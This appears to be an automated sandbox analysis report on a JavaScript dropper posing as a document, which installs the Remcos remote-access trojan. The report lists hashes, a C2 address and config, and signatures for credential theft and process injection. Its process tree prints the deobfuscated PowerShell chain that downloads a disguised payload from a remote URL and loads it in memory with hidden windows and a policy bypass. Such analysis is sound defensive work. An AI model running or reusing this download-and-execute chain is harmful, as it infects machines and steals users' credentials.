Analysis

  • max time kernel
    147s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-09-2024 07:14

General

  • Target

    C_UsersAdministratorDesktopWernbvFILE_DOC_SSLMUNSRG0014624.js

  • Size

    600KB

  • MD5

    2b1f137f22ac559ec305ce5cfa8890b4

  • SHA1

    78eea4d0412efdce79ecd7bd36381d9fcec3b07c

  • SHA256

    87a46f9efd26fa0b9182f12ee89ef19975fab1927d056629142608f27cc5f4b1

  • SHA512

    d772cf3cda1ac8368992d21217cd6c866a5554bc3f4e9ee728709c03d72e402f8bfcd5a21afc6e58dbcdba4090b0f9970b7adab857b1b6d85d123c24a616383c

  • SSDEEP

    12288:W8hhuwMaJTTfrjTsfY51YkMLrl5sDdNZftj0Ue6BzNv2kSw0OORbrHy3JTpgxRmX:BhJKIzFt4nR6jX5n

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

exe.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

Extracted

Family

remcos

Botnet

pc file

C2

185.150.191.117:4609

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-PICFH2

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\C_UsersAdministratorDesktopWernbvFILE_DOC_SSLMUNSRG0014624.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:444
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AaQBhADYAMAAxADYAMAA2AC4AdQBzAC4AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AMQAwAC8AaQB0AGUAbQBzAC8AZABlAGEAdABoAG4AbwB0AGUAXwAyADAAMgA0ADAANwAvAGQAZQBhAHQAaABuAG8AdABlAC4AagBwAGcAJwA7ACQAdwBlAGIAQ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AnACwAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcAKQApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4160
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/2XXnC/d/ee.etsap//:sptth' , '1' , 'C:\ProgramData\' , 'enhadir','AddInProcess32','desativado'))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2080
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\enhadir.js"
          4⤵
            PID:1076
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
            4⤵
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:548
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\rhkzdvftwajgbfxafqczyfvmyjdstcq"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1580
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\cjprdoqvkjblmlteobotjkqvyqvamnpzho"
              5⤵
              • Accesses Microsoft Outlook accounts
              • System Location Discovery: System Language Discovery
              PID:2008
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\mdvkeg"
              5⤵
                PID:2512
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\mdvkeg"
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3772

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        f41839a3fe2888c8b3050197bc9a0a05

        SHA1

        0798941aaf7a53a11ea9ed589752890aee069729

        SHA256

        224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

        SHA512

        2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        50a8221b93fbd2628ac460dd408a9fc1

        SHA1

        7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

        SHA256

        46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

        SHA512

        27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1gd1r5fu.1tf.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\rhkzdvftwajgbfxafqczyfvmyjdstcq

        Filesize

        4KB

        MD5

        c0ab2847671ed5375328c5127a02cc72

        SHA1

        dc2bcb51562fb17e5c8787833bc0181d88a5b75e

        SHA256

        e961f466a0638bc99182d0056245e2d8bf1ccc13a189b802aada981f379e2384

        SHA512

        0b8b634d21ac71e02cef86687bf84b6fcecfd24dafab8130f42ce8b4b3f308a2e1b1fa7bf8d37f2eda76efae2b30b8d39f41d808d771562d8545ed144241924f

      • memory/548-58-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/548-68-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-24-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-27-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-69-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-67-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-31-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-66-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-65-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-34-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-35-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-36-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-37-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-39-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-64-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-63-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-62-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-61-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-32-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-60-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-57-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/548-59-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/548-54-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/1580-40-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/1580-43-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/1580-48-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/2008-42-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/2008-46-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/2008-41-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/2080-22-0x0000022B77D30000-0x0000022B77E52000-memory.dmp

        Filesize

        1.1MB

      • memory/3772-45-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/3772-44-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/3772-47-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/4160-1-0x000002D045750000-0x000002D045772000-memory.dmp

        Filesize

        136KB

      • memory/4160-0-0x00007FFB5CC93000-0x00007FFB5CC95000-memory.dmp

        Filesize

        8KB

      • memory/4160-33-0x00007FFB5CC90000-0x00007FFB5D751000-memory.dmp

        Filesize

        10.8MB

      • memory/4160-11-0x00007FFB5CC90000-0x00007FFB5D751000-memory.dmp

        Filesize

        10.8MB

      • memory/4160-12-0x00007FFB5CC90000-0x00007FFB5D751000-memory.dmp

        Filesize

        10.8MB